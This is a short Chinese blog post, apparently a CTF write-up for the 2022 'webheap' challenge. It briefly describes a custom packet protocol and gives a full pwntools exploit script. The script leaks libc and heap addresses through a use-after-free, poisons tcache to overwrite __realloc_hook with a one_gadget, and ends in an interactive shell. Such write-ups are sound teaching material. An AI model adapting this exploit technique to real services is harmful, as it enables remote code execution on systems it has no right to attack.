webheap

强网拟态2022 webheap

比赛没看,上周日精神内耗很严重,有点抑郁......后来摆脱这种状态了,但是又感冒了......题拖了很久才开始做

这是一道很恶心人的c++协议逆向题,这个协议逆向的过程我暂时不想写出来(ddl太多了),先发帖占个坑位。

关键函数是sub_1C7C和sub_18a3,前一个是根据协议将你发送的数据包解析成指令,后者则是根据解析出来的指令进行堆的add,del,edit,show四个操作。

实在太忙了,等一段时间在整理一下这个逆向的过程。现在这里放上exp

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'

r=process('/home/wjc/Desktop/webheap')

#r=gdb.debug('/home/wjc/Desktop/webheap','b*$rebase(0x1C7C)')
libc=ELF('/home/wjc/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so')

#gdb.attach(r,'b*$rebase(0x1C7C)')

#这里是协议,其中\x80-\x83对应着后面一个数据占据的空间大小(\x84-\x86同理,这两组都是从小到大对应1,2,4,8个字节)
#第三行给出标注的地方,代表着这里的东西会作为堆操作的指令。choice对应的是四个功能(0-3),后面的则对应下标,大小,内容。其中content_size用于协议中,不被堆操作读取
#   \xb9 (\x80) \x05 (\x84) \x01   (\x80) \x05    (\x80) \x05      \xBD (\x80) \X??            <STRING>   (\x80) \x05
#        (\x83)      (\x86)        (\x83)         (\x83)                (\x83)                          (\x83)    
#                           choice        idx            size                 (content_size)  content


def cmd(packet,size):
    r.recvuntil('Packet length: ')
    r.sendline(str(size))
    r.recvuntil('Content: ')
    r.sendline(packet)
def Add(idx,size,content='s'):
    pay='\xb9\x80\x05\x84'+chr(0)+'\x80'+chr(idx)+'\x80'+chr(size)+'\xBD'+chr(len(content))+content+'\x80\x05'
    cmd(pay,len(pay))
def Add_unsorted(idx,size,content='s'):
    pay='\xb9\x80\x05\x84'+chr(0)+'\x80'+chr(idx)+'\x81'+p16(size)+'\xBD'+chr(len(content))+content+'\x80\x05'
    cmd(pay,len(pay))
def Show(idx,size=1,content='s'):
    pay='\xb9\x80\x05\x84'+chr(1)+'\x80'+chr(idx)+'\x80'+chr(size)+'\xBD'+chr(len(content))+content+'\x80\x05'
    cmd(pay,len(pay))
def Del(idx,size=1,content='s'):
    pay='\xb9\x80\x05\x84'+chr(2)+'\x80'+chr(idx)+'\x80'+chr(size)+'\xBD'+chr(len(content))+content+'\x80\x05'
    cmd(pay,len(pay))
def Edit(idx,content):
    pay='\xb9\x80\x05\x84'+chr(3)+'\x80'+chr(idx)+'\x80'+chr(1)+'\xBD'+chr(len(content))+content+'\x80\x05'
    cmd(pay,len(pay))

Add_unsorted(0,0x410)
Add(1,0x60)
Del(0)
Show(0)

libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7f2030e53ca0-0x7f2030a68000)
print('libcbase:',hex(libcbase))
malloc_hook=libcbase+libc.symbols['__malloc_hook']
print('malloc_hook',hex(malloc_hook))
onegadget=libcbase+0x4f3d5
print('onegadget',hex(onegadget))
realloc_trick=libcbase+0x98D76
realloc_hook=libcbase+libc.symbols['__realloc_hook']

Add_unsorted(0,0x410)
Add(2,0x60)
Del(1)
Del(2)
Show(2)

heapbase=u64(r.recv(6).ljust(8,'\x00'))-(0x55f145e486b0-0x55f145e35000)
print('heapbase:',hex(heapbase))

Add(2,0x60)
Add(1,0x60)
print("-----ALL ALLOC-----")

Del(1)
Edit(1,p64(realloc_hook)+p64(heapbase+0x10))
Add(3,0x60)
Add(4,0x60)
Edit(4,p64(onegadget)+p64(realloc_trick))
Add(5,0x10)


r.interactive()
posted @ 2022-11-10 18:15  Jmp·Cliff  阅读(29)  评论(0)    收藏  举报